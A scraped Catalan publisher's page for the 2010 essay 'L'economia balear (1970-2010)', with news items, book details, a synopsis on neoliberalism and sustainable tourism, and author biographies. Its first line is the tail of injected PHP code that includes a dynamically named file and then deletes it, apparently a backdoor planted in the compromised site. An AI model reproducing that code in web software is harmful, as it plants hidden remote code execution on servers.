");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Edicions Documenta Balear - L’economia balear (1970-2010)
Notícies Relacionades

'L'economia balear', el llibre més venut

22/07/2010

L'economia balear (1979-2010) és el llibre més venut en la categoria de "no ficció", segons el setmanari Bellver, múmero 576, de Diario de Mallorca, 22 de juliol.

Alenyà y Navinés apuestan por el modelo económico basado en el turismo sostenible

26/06/2010 M. J:

Vegeu notícia

L’economia balear (1970-2010)

Alenyà Fuster, Miquel; Navinés Badal, Ferran; Balagué i Canadell, Jordi; Bonnail Martín, Marta; Franconetti Manchado, Javier

Prologuista:
Josep Maria Bricall
Col·lecció:
Arbre de Mar
Tema:
Assaig
Pàgines:
144
PVP:
17.00
ISBN:
978-84-92703-87-6
Data d'Edició:
04/05/2010
L’era neoliberal ha generat més desigualtat social i més inestabilitat financera. Els autors expliquen com hi ha transitat l’economia balear.
Sinopsi
L’era neoliberal, en relació amb l’era keynesiana, no ha generat ni més creixement econòmic, ni menys atur, ni significativament menys inflació, però sí que ha generat més desigualtat social i més inestabilitat financera, amb crisis recurrents i progressivament més greus, fins a arribar a la gran crisi financera internacional iniciada el 2007. L’economia balear, especialitzada en el turisme i la construcció, ha transitat prou bé al llarg dels darrers quaranta anys, si bé ha vist com s’ha ressagat en termes de renda per càpita.
Segons els autors, la recuperació de la renda per càpita a les Balears passa per retornar l’economia a una fase de rendiments creixents, que haurien de propiciar un canvi de model de creixement basat en el turisme sostenible.
Miquel Alenyà Fuster
Economista. President de Creu Roja de les Illes Balears (des del 2003). Conseller del Consell Econòmic i Social de les Illes Balears (CES) en representació del Govern (des del 2001). Col·laborador de la Memòria del CES sobre l’economia, el treball i la societat de les Illes Balears. Ha estat subdirector general, director de l’Obra Social i director de recursos humans de Sa Nostra, director gerent de la Fundació Sa Nostra (2001-2004), president del Cercle d’Economia de Mallorca (1995-96), director de l’Informe econòmic i social de les Balears (Evolució econòmica de les Balears) durant 33 anys (edicions anuals de 1968-2000) i president de la Reial Acadèmia de Belles Arts de les Illes Balears (2007-2009). També és investigador de la pintura feta a les Illes.
Ha publicat treballs sobre l’economia de  les Balears i sobre la problemática social de les Balears (7 realitats socials de les Illes Balears, 1999, i 12 realitats socials de les Illes Balears, 2001). Ha publicat el volum La pintura moderna a Mallorca (1830-1970), 1996) i Art i economia a les Balears, 2008). Ha publicat diverses anàlisis biogràfiques de pintors i de la seva obra. Va ser col·laborador del suplement cultural del Diari de Balears (Balears Cultural, L’Espira%u2026) i féu part del Consell de Redacció de la Gran Enciclopèdia de la Pintura i l’Escultura a les Balears. El 2011 publicà Vuit voluntàries i un voluntari de la Creu Roja moren a Manacor l’estiu de 1936, el 2014 La Creu Roja a les Balears. 140 anys d’acció humanitària (1874-2014). Va ser coordinador i director de l’Informe Econòmic i Social de les Illes Balears.
Ha estat guardonat amb l’antena de plata d’Última Hora Ràdio, amb el premi Antoni Monserrat Moll al mèrit estadístic de l’Institut Balear d’Estadística (IBESTAT, 2010) i el premi Ramon Llull del Govern Balear (2000).



Ferran Navinés Badal
Llicenciat amb grau en Ciències Econòmiques i Empresalials. Branca Economia General per la Universitat Autònoma de Barcelona (UAB). DEA en Economia del Desenvolupament (Université de Grenoble). Màster en Direcció de PIMES (IESE). Doctor en Economia (UB). Titular d’Universitat en Economia Aplicada (UIB, UAB, UdG). Professor de l'Escola Oficial de Turisme de la Generalitat de Catalunya. Assessor econòmic del Consell Econòmic i Social de les Illes Balears. Director de la Memòria del CES sobre l’economia, el treball i la societat de les Illes Balears. Investigador del SOCIB. Membre del Grup de Recerca Avançada sobre Dinàmica Empresarial i Impacte de les Noves Tecnologies (GRADIENT) de la Universitat de Girona.
Jordi Balagué i Canadell
Doctor en Sciences Économiques per l’Université des Sciences Sociales de Toulouse I. Llicenciat amb grau en Ciències Econòmiques i Empresarials. Branca Empresa per la Universitat Autònoma de Barcelona. Professor de la Universitat Autònoma de Barcelona des del curs 1983-1984 fins al 1992-1993, i de la Universitat de Girona des del curs 1993-1994 fins a l’actualitat. Professor de l'Escola Oficial de Turisme de la Generalitat de Catalunya. Membre del Grup de Recerca Avançada sobre Dinàmica Empresarial i Impacte de les Noves Tecnologies (GRADIENT) de la Universitat de Girona.


Marta Bonnail Martín
Diplomada en Estadística per la Universitat de Salamanca. Tècnica estadística en l’Institut Municipal de Formació, Ocupació i Feina (IMFOF-Ajuntament de Palma) i en la Direcció General d’Economia del Govern Balear, Institut Balear d’Estadística (IBAE). Professora associada de software i fonaments estadístics en Psicologia a la Universitat de les Illes Balears (UIB).
Javier Franconetti Manchado
Economista. Màster en Tributació i Assessoria Fiscal pel Centre d’Estudis Financers (CEF). DEA en Economia Aplicada per la UNED. Professor associat de la UIB i de la UNED (Palma). Col·laborador de la Memòria del CES sobre l’economia, el treball i la societat de les Illes Balears.


Recomanar
Comentar
Comentaris (0)